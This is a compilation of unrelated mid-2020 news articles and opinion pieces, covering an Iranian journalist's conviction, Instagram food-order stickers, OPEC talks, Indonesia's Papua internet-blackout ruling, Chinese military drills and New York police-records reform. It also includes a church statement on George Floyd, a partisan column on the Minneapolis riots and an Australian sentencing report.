A top CI official told TwoCircles.net that it may be usual Muslim perception that all good deeds are rewarded in Ramadan so you see more militants getting killed in this month but whenever we get any lead  be it any month or time  we have to eliminate the militants, he said.
DUBAI, United Arab Emirates - The head of Irans semiofficial ISNA news agency has been convicted over publishing an article that quotes a former ambassador criticizing Tehrans arbitrary intelligence operations in Europe, a journalism watchdog group said Friday.

It was unclear what sentence was handed down to ISNA CEO Ali Motaghian after his trial on charges of publishing lies with the intention of disturbing the public, the Committee to Protect Journalists said. The judiciarys Mizan news agency said Motaghian could face penalties ranging from two months to two years in prison, 74 lashes and a cash fine.

The case originates from a complaint filed by the intelligence arm of Irans paramilitary Revolutionary Guard. It involved an extensive interview ISNA published in January 2019 with former Ambassador to Germany Ali Majedi.

During the interview, Majedi appeared to criticize some operations by Irans intelligence apparatus in Europe.

The comments came after Germany arrested Vienna-based Iranian diplomat Assadollah Assadi, who prosecutors said belonged to the countrys Intelligence Ministry. The prosecutors allege Assadi gave a couple explosives and was involved in a plot to bomb an annual rally of the Iranian exile group Mujahedeen-e-Khalq group, or MEK, in neighbouring France.

Separately, around the same time, Danish officials accused Iran of planning to assassinate members of the Arab Struggle Movement for the Liberation of Ahwaz living there. That group has claimed a series of attacks in Iran seeking to make the countrys oil-rich Khuzestan province its own country.

We are facing an issue inside the country, such as arbitrary operations, ISNA quoted Majedi as saying. Can we deny that there are no examples of this happening outside the country? Such operations damage the trust.

The reporter who wrote the story and Majedi were found not guilty by Tehrans Media Court in a hearing in May, CPJ said.

The Iranian Students News Agency, or ISNA, opened in 1999 as reformist President Mohammad Khatami sought to change Irans Shiite theocracy. While independent, it  like other semiofficial news agencies  operates under a license from the government.

Journalists in Iran face harassment from security services, while others have been imprisoned for their work. While local journalists face the brunt of that treatment, foreign journalists in Tehran, especially those with Western ties, have been imprisoned as well.
Highlights Instagram partnered Swiggy and Zomato to help small restaurants survive

Businesses or restaurants should have the latest version of Instagram on either iOS or Android.

Restaurants can add either Swiggy or Zomatos link to their Instagram Stories and also share the link on their Instagram profile.

The photo-sharing app Instagram will now make it easier for its users to order food through its platform. The company on Thursday announced that it has partnered with food-delivery giants Swiggy and Zomato to help small restaurants survive and establish themselves during the ongoing coronavirus crisis. Instagram launched a special food order stickers to enable users to order food.

The small-scale business can share newly launched food order stickers by Instagram on their Stories, which would allow users to just tap on it and place an order through Swiggy or Zomato.

"We want to do our part in helping small businesses stay open, keep in touch with customers, and be informed on how to navigate this crisis. For the food industry in particular, we're rolling out the food order sticker, which will aid order discovery and spur engagement, and we're glad to have partnered with Swiggy and Zomato for the same," Nitin Chopra, industry head, e-commerce and retail, Facebook India said in a statement.

In order to use the food order sticker, businesses or restaurants should have the latest version of Instagram on either iOS or Android. They should either use a business account on the app or a creator account. They can add either Swiggy or Zomato's link to their Instagram Stories and also share the link on their Instagram profile. This would make it easier for people who follow them to place orders just by tapping on the "order food" button or the Stories.

Talking about the collaboration with Facebook-owned photo-sharing platform, Srivats TS, vice president - marketing, Swiggy said, "Supporting the small business ecosystem, especially the restaurant business, which is severely affected, is a huge priority for us. As physical distancing continues and businesses innovate with online models, features like the food order sticker from Instagram will aid engagement between customers and their favorite food businesses, and ideally have a positive impact on increasing online food delivery order volumes."

People can also help the small scale businesses by sharing the stickers with a link to Zomato or Swiggy in their Stories too. This would help the restaurants in reaching out to more and more people.

"At Zomato, we are focused on the overall development of the food delivery sector and have been working with restaurants to design different growth models. Instagram's food order sticker will not just help restaurants introduce themselves to more customers, improve their engagement but also add a new growth avenue for their businesses," said Sandeep Anand, chief marketing officer, Zomato said in a statement to Mint.
Oil prices have recovered spectacularly from their April plunge, but the worlds major oil exporters are wary of unleashing a surge of output that could wipe out the recent gains and put further pressure on their national budgets.

Those calculations will be on the minds of energy ministers from the Organization of the Petroleum Exporting Countries as well as Russia and other states when they meet Saturday by video conference to discuss the markets. The meeting was announced Friday by OPEC.

On the table will be a tentative plan orchestrated by Saudi Arabia, OPECs de facto leader, and Russia, a major exporter, to extend, probably by a month, the agreement reached in April to trim production. The amount was a combined 9.7 million barrels a day, about 10 percent of global daily output in normal times.

The output curbs were set to ease in steps after June under the deal, which the producers wrangled while demand for their crude was in a free fall because of global lockdowns to control the coronavirus pandemic.
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Linkedin Alya Nurbaiti (The Jakarta Post) Jakarta  Fri, June 5, 2020 16:27 595 fc6853813033f564188675f8bdc75533 1 National internet-blackout,civil-society-organizations,lawsuit,PTUN,Papua-internet-blackout,antiracism-rally,good-governance,Communications-and-Information-Ministry Free

The lawsuit against President Joko Jokowi Widodos decision to cut off the internet in Papua and West Papua during antiracism protests in the two provinces last year was meant to be a call for better policies in the future, the suits plaintiffs have said.

The plaintiffs, which include the Alliance of Independent Journalists (AJI), the Southeast Asia Freedom of Expression Network (SAFEnet), the Indonesian Legal Aid Foundation (YLBHI) and the Legal Aid Institute for the Press (LBH Pers), said they hoped the government would respect the courts ruling.

The Jakarta State Administrative Court (PTUN) ruled on Wednesday that the government had unlawfully shut down the internet in the two provinces during heightened security tensions caused by waves of protests in August and September of last year.

We dont want to attack the government nor disrupt the nation. We want good governance. The government should listen to us and obey the courts ruling, Muhammad Isnur of YLBHI said during a press briefing on Thursday.

He suggested the government apologize to the public, even though the plaintiffs demands for such a public apology had been dropped from the lawsuit.

[Apologizing] is an ethical matter. We dropped the demand from the lawsuit because the judges said it was not within their authority to grant it, Isnur added.

Read also: Internet ban during Papua antiracist unrest ruled unlawful

The court found that the government had violated the 1959 State Emergency Law by imposing the internet blackout after it failed to prove during a court hearing that the country was in a state of emergency. Proving such a situation would have enabled the government to shut down the internet legally.

The petitioners said the lawsuit was their last resort after the government ignored several letters and petitions to cancel the blackout.

The government initially argued that the internet shutdown was imposed to prevent the spread of hoaxes and other false information during the antiracism protests.

The policy, however, only disadvantaged the public as their access to information was limited. It is a violation of human rights, Institute for Policy Research and Advocacy (ELSAM) deputy director Andi Muttaqien said.

He added that the shutdown had hit several areas, including education and the economy, as journalists were unable to work without access to communication technology.

Papuans were also unaware that the government had punished some of the people who had harassed and assaulted Papuan students during an incident in Surabaya, East Java, in August 2019. These acts had prompted the protests, and therefore, the shutdown had likely exacerbated tensions.

Activists argued that the governments justification of the shutdown as an attempt to prevent the spread of hoaxes could not be verified because it had never reported the number of hoaxes that had spread during the protests.

Although the courts decision did not carry legal sanctions, Abdul Manan of the AJI said the ruling declaring that the government had violated the law was a serious admonition not to repeat the mistake.

Authorities introduced internet restrictions for the first time as a security measure during postelection riots in Jakarta in May of last year.

Nobody sued the government at that time and such a policy of blocking the internet recurred in August, Abdul said. If the government commits such unlawful acts again in the future, it means they are publicly declaring their violation of the Constitution, even though they are sworn to obey and follow it.

Read also: The internet shutdown in Papua threatens Indonesia's democracy and its people's right to free speech

Isnur said the ruling would serve as a good precedent that would hopefully encourage the public to bring the government to the PTUN for any unlawful acts, as stipulated in a 2019 Supreme Court Regulation on unlawful government acts.

The plaintiffs lauded the court for considering access to the internet a human right.

This is an extraordinary achievement and gives us hope about the fate of human rights in the country, said Isnur.

Presidential spokesperson for legal affairs Dini Purwono said on Wednesday that the government respected the courts ruling. She added that the government would consult with the state legal team about whether to appeal the ruling.
PLA holds intensive landing, naval drills in 'warning to secessionists'

Global Times

By Liu Xuanzun Source:Global Times Published: 2020/6/4 19:11:47

The Chinese People's Liberation Army (PLA) has been holding frequent and intensive amphibious landing and naval drills in what analysts said are sending warnings to Taiwan secessionists.

Some of the recent exercises featured amphibious tanks storming the beaches and civilian ships transporting tanks and armored vehicles across the sea. Ongoing drills may feature China's second aircraft carrier the Shandong, as well as other advanced warships, or even the test firing of new weapons like the JL-3 submarine-launched ballistic missile or the electromagnetic railgun.

The PLA 73rd Group Army recently conducted a live-fire assessment in a location on the southeastern coast, in which 68 amphibious tanks stormed the beaches from the sea in a coordinated attack under a rough sea situation, as the tanks launched concentrated main gun shooting and released smoke to camouflage the assault, China Central Television (CCTV) reported on Wednesday.

In another training operation, the PLA 74th Group Army used a large civilian cargo ship to transport more than 50 tanks, armored vehicles and infantry fighting vehicles across the sea, according to a separate report by CCTV.

The 73rd Group Army and the 74th Group Army are based in eastern and southern China, and both are believed to be the main forces which would be used in a potential landing mission on the island of Taiwan.

The subjects featured in these two exercises are normal and routine, and they are basic capabilities of the PLA, a military expert who asked not to be named told the Global Times on Thursday.

The PLA always stands ready to reunify Taiwan and safeguard national sovereignty and territorial integrity, and Taiwan secessionists should not underestimate this, the expert said.

In addition to these amphibious exercises, the PLA is conducting naval drills in the Bohai Sea, according to the Maritime Safety Administration.

A military mission is ongoing from Tuesday to June 16, and a live-fire drill will be held from Friday to Wednesday, both in the Bohai Sea, read two navigation notices released by the administration this week.

While neither notice gives any detail on the two drills, military observers noted that at least one likely features China's second aircraft carrier, the Shandong. It has started military missions since May 25 to test its weapons and equipment and improve the level of aircraft carrier training to enhance the troops' ability to perform missions and tasks, said Senior Colonel Ren Guoqiang, spokesperson for the Ministry of National Defense, at a regular press conference on May 29.

When the Shandong set out on May 25, a Maritime Safety Administration notice restricted access to an area in the Yellow Sea from May 25 to Tuesday. This time period connects to the Tuesday-to-June 16 restriction notice, meaning the Shandong might be now training in the Bohai Sea, as the carrier has not been seen back in shipyard, observers noted.

Few information is available for the other drills, as military analysts said they could be regular exercises featuring China's advanced warships that focus on tactical and technical training. Some have even speculated that they may involve test firings of new weapons like the JL-3 submarine-launched ballistic missile or the electromagnetic railgun.

Near the Bohai Bay, the PLA is also conducting a live-fire drill in the northeastern sea areas off Tangshan, North China's Hebei Province, from mid-May to the end of July.

These exercises show the PLA has entered an intense training season with the aim of boosting combat capability, the anonymous expert said, noting that if COVID-19 brought any delays to the training schedule, they are likely being caught up.

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New moderate income housing program could be on the way to Long Beach
Lines of code seen on a programmer's laptop. Photo by Shutterstock/ProStockStudio.

With the country an attractive software outsourcing destination for multinationals, Vietnams recruitment demand for IT staff has quadrupled in the last decade.

The data, recorded by the number of job posts on recruitment website VietnamWorks, shows software developers accounted for half of demand in the 2010-19 period. For years, multinationals like Intel, IBM, Nokia and Microsoft have chosen Vietnam to outsource their software projects.

In terms of annual growth in demand, artificial intelligence developers took the top place at 27 percent, followed by mobile developers (19 percent) and embedded system developers (16 percent).

The average monthly salary employers offer IT staff has almost doubled to $1,466 throughout the decade. For software developers, it almost tripled to $1,527, showing a shortage of human resources in this field.

"Vietnams IT industry has undergone rapid updates to catch up with global development though there remains a major shortage of high-skilled domestic personnel," the report said.

Companies are doing well in retaining staff, with a VietnamWorks survey of 2,000 IT employees showing less than 10 percent are not satisfied with their current welfare status.

Most respondents, or 78 percent, receive an annual 13th month bonus, while a third get Lunar New Year holiday (Tet) bonuses. Equivalents are given out based on performance or by project.

The average employee stays with a company 4.5 years. When they leave, the most popular reason is pursuit of a higher salary, according to 89 percent of respondents, followed by a better chance for promotion (67 percent) and better welfare (66 percent).

Technology, information and communications enterprises recorded VND3.1 quadrillion ($134 billion) in revenue for 2019, up 8.8 percent year-on-year, according to the Ministry of Information and Communications.

Vietnam last year had about 50,000 information and communications technology (ICT) businesses, which the government wants to double by 2030 to add the country to the list of top 30 players in the sector.
The Madras High Court on Friday asked the Tamil Nadu government whether it can consider on humanitarian grounds the request of life convicts in the Rajiv Gandhi assassination case to make video calls to their kin.

Nalini Sriharan and her husband Murugan, the convicts, wanted to make the calls to his mother and sister in Sri Lanka and London, but the state government was firm in refusing them to make such communication.

"Leave alone law, we would like to know from the government whether they (Nalini and Murugan) can be permitted to make the calls on humanitarian ground," a division bench of Justice N Kirubakaran and Justice R Hemalatha said and asked the state public prosecutor A Natarajan to get instructions from the government.

The issue pertains to a plea moved by S Padma, mother of Nalini, seeking direction to the prison authorities to permit her daughter and her husband Murugan to make video call to his mother and sister.

Murugan's father died in Sri Lanka in April last. Therefore, the couple wanted the authorities to permit them to make video calls for at least 10 minutes daily. When the plea came up for hearing on Friday, the prosecutor reiterated the stand of the state that the duo cannot be permitted to make calls to a foreign country. Natarajan further suggested the court on its own implead the Union home ministry as it would be the appropriate authority to take a decision.

Opposing the same, petitioners counsel A Radhakrishnan submitted that prisons are subject matter of the state government concerned and the Union home ministry has nothing to suggest in the issue. Recording the submissions, the bench adjourned the hearing to June 12. Besides Nalini and her husband, the others convicted in the case are A G Perarivalan, Santhan, Jayakumar, Ravichandran and Robert Pyas.

All are serving life imprisonment for their role in the assassination of former prime minister Rajiv Gandhi on May 21, 1991 by an LTTE suicide-bomber at nearby Sriperumbudur. They were initially sentenced to death, but later it was commuted to life imprisonment.
ALBANY - State lawmakers are moving closer to repealing a controversial statute that has shielded police officers disciplinary records from public scrutiny for decades.

The draft legislation being circulated among lawmakers on Friday would repeal section 50-a of the Civil Rights Law and replace it with language that stipulates when and what type of police disciplinary records can be released. The bill is part of a package of police reforms state legislators will vote on early next week.

Advocates for transparency on police conduct say the statute should be repealed and police records should be handled through the existing Freedom of Information Law process. The way the legislation is written, personnel records would only be made public if there is a formal complaint against an officer.

So, if misbehavior is made public through some means such as bystander or media video or reporting, or a confidential source such as a fellow police officer, but a formal civilian complaint is not filed, then a journalist cannot FOIL the officer's record, said Diane Kennedy, president of the New York News Publishers Association.

Kennedy said there also would be no avenue for the public to access officers records if publicly observed activity raises questions, but there is no civilian complaint filed.

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It can be valuable for a journalist or a citizens group to file a FOIL request for the disciplinary records of all officers in a given department, which could reveal useful information, such as the prevalence of complaints against officers and whether any investigations were ever even commenced, she said. Lastly, how would a journalist know that a law enforcement officer was the subject of an investigation in the first place?

Gov. Andrew M. Cuomo, after years of remaining silent on the issue, on Friday championed the bill that would repeal the 44-year-old statute along with measures to prohibit the use of chokeholds - which the New York Police Department has already banned - and making false, race-based 911 calls a hate crime.

In addition, Cuomo said he wants to codify an order that would allow the state attorney general's office to investigate all cases in which someone dies during an encounter with police. It would expand an order that Cuomo signed five years ago that allowed the attorney general to investigate cases in which unarmed civilians are killed during police encounters.

"Reforms work for everyone's interest," the governor said. "It restores confidence, respect and trust that you need to make this relationship work. You have to heal the police-community relationship. That has to happen for the sake of the police and for the sake of the community."

A renewed focus on police reforms has been prompted by protests across the nation. Thousands of people have taken to the streets protesting police brutality following the death of George Floyd, an unarmed black man, who was killed after a white Minneapolis police officer kneeled on Floyd's neck for nearly nine minutes as he was handcuffed on the ground. Public officials in Minneapolis, and other cities, including Los Angeles, have in recent days proposed "defunding" or fully dismantling police departments and replacing them with some type of new, community-based program.

The State Police, an agency Cuomo controls, has often invoked the 50-a statute to reject public access to its internal files. The agency also does not use body or dash cameras. Local police departments have also used 50-a to block access to records, and state court decisions through the years have expanded the statutes reach, including blocking the release of records of former police officers.

While the protests have been largely peaceful, many have devolved into violence as people infiltrated protests or took advantage of police being busy with protesters by looting businesses and engaging in other criminal activity. Police officers also have been videotaped using violence against protesters who did not appear to pose a threat, including shoving, pepper-spraying, firing rubber bullets and launching tear gas at them.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Assemblyman John McDonald, D-Cohoes, said he is supporting the legislation repealing 50-a and noted that it's part of a package of bills that seek to shine light on police misconduct and hold law enforcement accountable, including regular reporting of various statistics like how many times people are arrested for minor offenses.

"The challenge with moving a dinosaur is you might shake the earth too much," he said. "I think this is a good step forward. It is not a be-all, end-all in any sense."

Cuomo, during his daily coronavirus task force briefing on Friday, showed snippets of videos from protests overnight Thursday of alleged excessive force by police, including a video where an older white protester in Buffalo was shoved to the ground by police officers, causing the man to split his head open on the pavement. The video also showed police walking past the man as he lay bleeding on the ground, as one officer radioed for a paramedic. The officers involved were immediately suspended.

When asked what went through his mind when he saw the video of the Buffalo incident, Cuomo said he was "sick to my stomach," and had spoken to the elderly man on Friday morning.

The governor remarked that firing officers for any offenses is part of a department's collective bargaining agreement, but said he believed Buffalo officials should pursue it.

"I would say that the city should pursue firing, and I think the district attorney should look at the situation for possible criminal charges," Cuomo said.

As New York communities emerge from stay-at-home orders instituted to stop the spread of the coronavirus that has hit the Empire State the hardest, the governor pointed to the efforts made by New Yorkers that flattened the curve. The state saw the lowest number of deaths from the virus Thursday with 42 fatalities.

The people of this state radically changed how they behaved, Cuomo said, remarking that this demonstrates New Yorks ability to make additional societal changes surrounding systemic racism.






N ext In Fashion has become Netflixs latest one-season wonder despite proving to be a hit with viewers and critics.

The series, fronted by Alexa Chung and Queer Eyes Tan France, saw 18 budding designers compete for a seriously impressive prize of $250,000 (198,000) and their own collection sold on Net-a-Porter.

However, its now been confirmed that the workroom has closed for good with Variety quoting France, 37, as saying: Were not doing a second season.

This is a one-season show, we dont know what will happen in the future, he continued. But it was honestly one of the proudest things Ive ever worked on. I love the show and Alexa so much.

My focus is definitely on Queer Eye and moving forward with that.

17 underrated series on Netflix and Now TV 1 /22 17 underrated series on Netflix and Now TV Girlboss Girlboss Photo by Karen Ballard Veep Veep Anne With An 'E' Anne With An 'E' Dark Dark Abstract: The Art of Design Abstract: The Art of Design Good Girls Good Girls Bloodline Bloodline Jeff Daly/Netflix Save Me Save Me Next In Fashion Next In Fashion Crazy Ex-Girlfriend Crazy Ex-Girlfriend Sally4Ever Sally4Ever Tuca & Bertie Tuca & Bertie The World's Most Extraordinary Homes The World's Most Extraordinary Homes She's Gotta Have It She's Gotta Have It David Lee/Netflix Girls Incarcerated Girls Incarcerated Schitt's Creek Schitt's Creek Quicksand Quicksand Netflix

We won't spoil it in case you still haven't watched it, but the series wasn't without its drama as the designers first battled in pairs before going up against each other individually in a bid for the prize.

The show was also in keeping with Netflix's global approach to television, with contestants hailing from East London, Shenzen, Brooklyn and everywhere in between.

Next In Fashion is the latest in a long line of Netflix shows canned over just outing.

Messiah, which debuted earlier this year, has suffered the same fate, as has figure skating drama Spinning Out.

Queer Eye, which first brought France to our attention, has thankfully stood the test of time with a fifth series debuting today.
I tell you, he replied, if they keep quiet the stones will cry out.

Luke 19:40

The World Communion of Reformed Churches expresses its grief, anger, and solidarity over the murder of George Floyd and the many, many other black people who have been killed in the United States by police forces.

In no uncertain terms we condemn this act of police brutality and call on the appropriate authorities on all levels to take quick action to bring the perpetrators to justice and address the long-standing root causes. We call for solidarity against anti-black racism understanding that racism in all its forms and the many ways it intersects with gender, ethnicity, and culture needs to be overcome. Racism has taken from us the lives of women, men, trans-persons, and even children.

We are appalled at the continuing systemic racism that undergirds the brutal violence faced by black communities and call for demolishing the structures of racism and the dismantling of white privilege. As our member church ECO states, Simply put, racism is wrong. It is inconsistent with the gospel of Jesus Christ and the church must work against it.

We call on our member churches in the United States and elsewhere to commit to undoing the injustice of racism while at the same time acknowledging our complicity in upholding racism and racist theologies, confessing, repenting, seeking forgiveness, and working towards reconciliation and reparations. We lift up the cries of the black community and call for the raising of voices of lament and the joining of hands in resistance.

America is a society suffering from a wound that was self-inflicted four hundred years ago through the institution of slavery and has never healed. It is an issue foundational to America. The black/white, slave/free legacy and current mindset must be dealt with before any peoples can be free in this nation, said a pastoral letter from the Christian Reformed Church in North America.

The Ottawa General Council of the World Alliance of Reformed Churches (a predecessor to the WCRC) declared what can be found in the Belhar Confession: Racism is a sin, and the theological support of racist ideologies is a heresy. We continue to lift up both this declaration and Confession today and call on all our member churches as well as the global ecumenical community to speak firmly and prophetically against the sin of racism.

Along with the United Church of Christ, we affirm that we are called to uproot white supremacy in all of its forms.

With the Prebyterian Church (USA) we affirm blackness by stating, GOD LOVES BLACKNESS. Too many have denied this basic truth for too long. Our choice to align ourselves with love and not hate requires both a rejection of racism and a positive proclamation that God delights in black lives.

We acknowledge that racism is part of a global system of dominance that is intertwined and embedded with an unjust economic system, ecological violence, and patriarchy. In the Accra Confession we declared, Therefore we reject any theology that claims that God is only with the rich, and that poverty is the fault of the poor. We reject any form of injustice which destroys right relationsgender, race, class, disability, or caste. We reject any theology which affirms that human interests dominate nature.

We acknowledge that this system has resulted in what we can firmly name as Global Apartheid which seeks the consolidation of the power of few at the cost of the many and particularly those communities who are racialized. With the Evangelical Presbyterian Church we affirm that we are called to speak out for justice and equality; to speak against racism, injustice, and inequality; and to work to arrest the origins of civil unrestnamely, poverty, racial separation, immorality, and a lack of radical love.

In this moment of crisis we are called to adequately and deeply discern the signs of the times and to imagine and work towards another world in which the humanity and dignity of each individual is lifted up and the sinful structures of death are brought down. For we know that the Lord requires us to act justly, and to love mercy, and to walk humbly with your God (Micah 6:8).

We particularly call on local communities and congregations to address the issue of police brutality by engaging local government agencies to dismantle the culture that encourages, embraces, and uses use-of-force policies and to demilitarize police forces.

We further call on churches to have crucial conversations on race and racism that work towards racial justice and specifically call all churches to examine and root out the role white privilege plays in their theology and praxis. Along with the Reformed Church in America we urge all our members to explore how they practically live out the Belhar Confessions principles of justice, reconciliation, and unity.

We call on our churches and the wider ecumenical community to join in a day of lament, fasting, and prayer on 8 Juneand let it only be a start to a continuing struggle for justice.

The World Communion of Reformed Churches (WCRC) represents 100 million Christians and 235 denominations in over 105 countries. With its members, the WCRC works to renew and restore the economy and the earth, so that all humanity and the whole of creation might live life in its fullness (Deuteronomy 30:19).
Ammo Grrrll laments the meltdown in CRY, THE BELOVED CITIES. She writes:

Warning: there is nothing funny in the following column. Maybe next week. I am borrowing the lovely title of Alan Patons beautiful book about the tragedy that is South Africa, Cry, The Beloved Country. To look at something you love going, as my Grandpa would have said, to hell in a hand basket, is nauseating, heartbreaking, and enraging. Particularly when it is completely unnecessary. In fact, its not much of a stretch to say it is deliberate.

Growing up in rural Minnesota, the Twin Cities held an almost magical fascination for me as a child. We Minnesotans understood that you didnt even have to say Twin. We were on good enough terms to use her nickname. We just said, Yeah, were goin to The Cities tomorrow. And everyone understood. Shopping at the skyscraper that was Daytons, in the (literal) Bargain Basement, riding the awesome escalators. Later, having real Chinese food down the block, nothing too exotic or spicy, probably Chow Mein which we had at least heard of! Kung Pao Chicken would still be a decade off

If we were very lucky, it would mean taking in The Ice Follies. After 1961 there was the unbeatable excitement of an outdoor Twins Game, rooting for Harmon, Bob Allison, Jim Lemon, Lenny Green. Daddy would spring for the crazily-priced $2.00 hot dogs though Mama felt that was a terrible rip-off. Mamas two favorite players were catcher Earl Battey and Lenny Green (CF), because, you know, all rural Republicans in the 60s were horrible racists. Everyone knows that who has ever been to college.

As young marrieds, Mr. AG and I lived in St. Paul near the U of M campus there, and later, shared with four other people a big old rambling rented house on 36th and Hennepin near the cemetery in Minneapolis.

We moved to San Francisco for 4 years  on the border of the Mission District and the Castro District  where there was as yet no poop on the streets except from dogs. When our son was two years old, we returned to Minnesota and lived there from 1975 until 2010. I left a large piece of my heart  and the majority of my family  in Minnesota even when the politics became unbearable and we moved to Arizona.

The Twin Cities is where we bought our first modest home. Its where my comedy career was launched. Our son returned there after college. He and his wife just bought their first house. We probably have 100 friends there, 50 favorite restaurants, favorite used book stores, which, as this was being written, were being burned to the ground by savages and cretins who danced as it burned. Uncle Hugos. There for 40 years. Mr. AG was too upset to eat.

To see The Cities in flames, to watch the police fail to fire a single shot even with a rubber bullet to keep their stations from being torched, to see anyone who objected, black or white, beaten up, is like watching some kind of Mad Max movie, only the thugs win. Watching the worse-than-useless, cowering, emasculated Democrat toadies in charge capitulate utterly to the mob, in fact, to be on the SIDE OF the mob, is terrifying. When the Governors daughter has access to information to AID AND ABET the mob, its time to get out, friends.

The elected Democrats blather about white racism, confessing to white guilt like a psycho who rushes to confess to every crime. Thats why, at least in the past, cops used to leave out important details that were not reported in the press, to trip up the mentally ill chronic confessors. Academia has been leaving out vital, exculpatory details about America for decades now. The chickens have come home to roost. As they always do.

Racism, we are assured by those leaders, is still systemic a ridiculous lie  but if the system WERE racist, who RUNS the entire system in the Twin Cities, fellas? I doubt theres even a Republican dog catcher in the Metro area. So speak for yourselves. You ADMIT you are racist and I believe it. Own it. I am not, nor is anyone I know personally.

Oh, Susan, you say, you just dont know the pain of seeing someone your color killed. Never mind that filching an Air Fryer and two packages of Huggies from Target seems an entirely inappropriate way to demonstrate that grief. But its not true anyway.

By the time you get to 73, you have seen a lot of death in your life: cancer, heart attacks, car accidents, suicide. Unfortunately, I have also known FIVE people personally who were murdered. Though two were famous, I knew them just as people. One, a black prison activist in San Francisco named Popeye Jackson. Killed execution style in a car on a city street, just sitting with a woman friend, a wife, though not his. She was killed too. Unsolved to this day.

Harvey Milk, lovely photographer, sweet man. Almost all the baby pictures of our son were developed by him at his camera shop in our neighborhood. Killed by a white guy, also a Democrat, allegedly for being gay though the loon also killed Mayor Moscone. I cried all day the day Harvey was killed, but now I see I missed out on my sacred right to loot.

The son of a fellow activist in San Francisco, white teenager, riding with a bunch of black friends who, in a preposterous tale, just happened to stop the car when a black thug came over to the car and point blank killed the white kid, and only him. Not only were there no riots, his devastated mother told the press she preferred to be the mother of the dead child. That to be the mother of the killer would have been unbearable.

A co-worker in Minneapolis, a brilliant proofreader, a white immigrant who spoke 7 languages, was beaten to death by her black boyfriend. Nobody burned anything down.

And finally, a childhood friend of our son, who grew up with a single mother, joined the Navy, was thrown out like Hunter Biden for drugs. He came home clinically depressed, and since $83,000/month jobs in the Ukraine were unavailable to him, instead he got drunk one night and wandered aimlessly around the neighborhood with a sawed-off shotgun. Police were called. He killed a police dog before being gunned to pieces. Shot 27 times. Both the cop and the young man were white. In letters to the editor and public opinion, all the sympathy was with the loss of the dog. No riots over his death. No nuanced multi-part newspaper articles about root causes or his existential pain for being poor and fatherless.

So, yeah, I have seen murder most foul. Many commenters have mentioned the difference between the aftermath of the horrible killing of Mr. Floyd and the reaction to the senseless murder of Justine Damond. No white people torched Cedar Square West. In fact, activists have chanted for the release of her Somali murderer, Mahamed Noor.

When I was quite young, I saw a picture in a magazine of a public lynching at which the crowd had brought picnic baskets and small children. That image was indelibly burned into my brain and has horrified me ever since. Like Holocaust imagery, some things seen cannot be unseen. Things that could make you give up on humanity entirely.

The sight of looters dragging young children into Target to grab things they did not earn, did not purchase, did not DESERVE had a similar effect on me, though the lynching was far more grotesque. But WAS it, really? The horrific murder of one person vs. the murder of a city, the lost livelihood of thousands, of the end of the law and order that guarantees civilization?

Governor Walz, dont give me your mealymouthed platitudes about how its not worth the loss of one life to spare hundreds of millions of dollars in infrastructure, save thousands of small businesses, preserve fragile civilization itself for one more blessed day.

OF COURSE IT IS, you pontificating fool. Not one single rioter HAD to be there. The wrongful, infuriating death of Mr. Floyd had been noted and universally condemned already. A march of 50,000 could have occurred without the riot. If you had brought sufficient force to bear the minute peaceful protest turned to rioting, all the looters and arsonists had the choice of risking their lives to continue or the option of just going home.

My uncle was killed at age 20 in the Pacific theatre. He died for civilization, for freedom. And though he had enlisted in the Marines, had volunteered to die for his country, just up and leaving was not one of his options. Neither was it an option for the other 416,800 U.S. combat deaths in World War Two. Had those deaths not occurred  every single one a tragedy with life-altering ripples for the surviving loved ones  Governor Walz would be delivering his supine defense of arsonists and looters in German. And Mr. Frey would not exist.
Michael M. Hanson, 24, was charged Thursday with threatening to burn or bomb and knowingly communicating a threat to kill or do bodily injury with intent to commit an act of terrorism, the Orange County Sheriffs Office said in a statement.
A Queensland man has been sentenced to 10 years' imprisonment for running down and almost killing a policeman with a stolen BMW while high on drugs.

Craig Aland Townshend, 36, pleaded guilty to a malicious act with intent after he deliberately drove the red car at Senior Constable Aaron Izzard, 34.

'You mowed the officer down. It was both cowardly and callous,' Judge Leanne Clare told the Brisbane District Court on Friday.

'The car was your weapon.'

'You deliberately forced the vehicle onto flesh and bone,' she said.

Craig Aland Townshend, 36, pleaded guilty to a malicious act with intent after he deliberately drove the red car at Senior Constable Aaron Izzard, 34 (pictured)

Sen Const Izzard had been attempting to hail down Townshend in the Brisbane suburb of Chermside in September 2018 when he was struck.

Instead of stopping, Townshend accelerated at the officer and hit him with the centre of the car's front bumper.

The impact threw Sen Const Izzard onto the bonnet with such force the windscreen shattered.

The officer was then flung onto the roof of the car as Townshend continued to speed from the scene at about 60km/h.

Sen Const Izzard lost his grip after 30 metres and thrown to the road when Townshend deliberately swerved.

A dash-cam video played to the court showed him lying motionless after the incident.

'The impact broke Officer Izzard's protective gear and his gun. It also shattered his body,' Judge Clare said.

'You left Sen Const Izzard broken and bleeding on the footpath.'

Sen Const Izzard had been attempting to hail down Townshend in the Brisbane suburb of Chermside in September 2018 when he was struck. Instead of stopping, Townshend accelerated at the officer and hit him with the centre of the car's front bumper. Pictured: stolen car

He was taken to hospital suffering a fractured skull and eye socket, bleeding on the brain, broken teeth, a shattered eardrum, shoulder injuries, and extensive cuts and bruising.

He was also having seizures and spent 10 days in an induced coma.

Doctors fought to save his life but they were not hopeful, Judge Clare said.

They told the father-of-two's family and colleagues to prepare for his death.

'I will never forget the sight of all the blood and the intermittent yelling and horrified screaming coming from Aaron as we treated him,' a fellow police officer, who asked not to be named, told the court in a victim impact statement.

Sen Const Izzard made a 'miracle' recovery following brain surgery.

But he continues to suffer from numerous life-changing injuries, including the loss of memories such as the birth of his children.

The officer was taken to hospital suffering a fractured skull and eye socket, bleeding on the brain, broken teeth, a shattered eardrum, shoulder injuries, and extensive cuts and bruising

He has also had to relearn how to walk and talk, and continues to suffer from chronic pain.

'The future is uncertain but you have already robbed him of so much,' Judge Clare told Townshend.

He fled the scene after Sen Const Izzard was thrown from the car and was later found hiding in his father's backyard shed.

'You gave a fanciful story,' Judge Clare said.

'Any remorse expressed was belated and not very convincing.'

'It's clear you resorted to lies to minimise your accountability,' she said.

Townshend was also convicted of unlawfully using a motor vehicle and driving under the influence of alcohol and methylamphetamine.

He will have to serve at least 80 per cent of his sentence before being eligible for parole.
Parliamentary panel on Information Technology is scheduled to hold a meeting on June 17 along with the officials of the Information and Technology Ministry to get a briefing on the government's Aarogya Setu application and its related issues of data security and privacy of citizens, sources said on Friday.

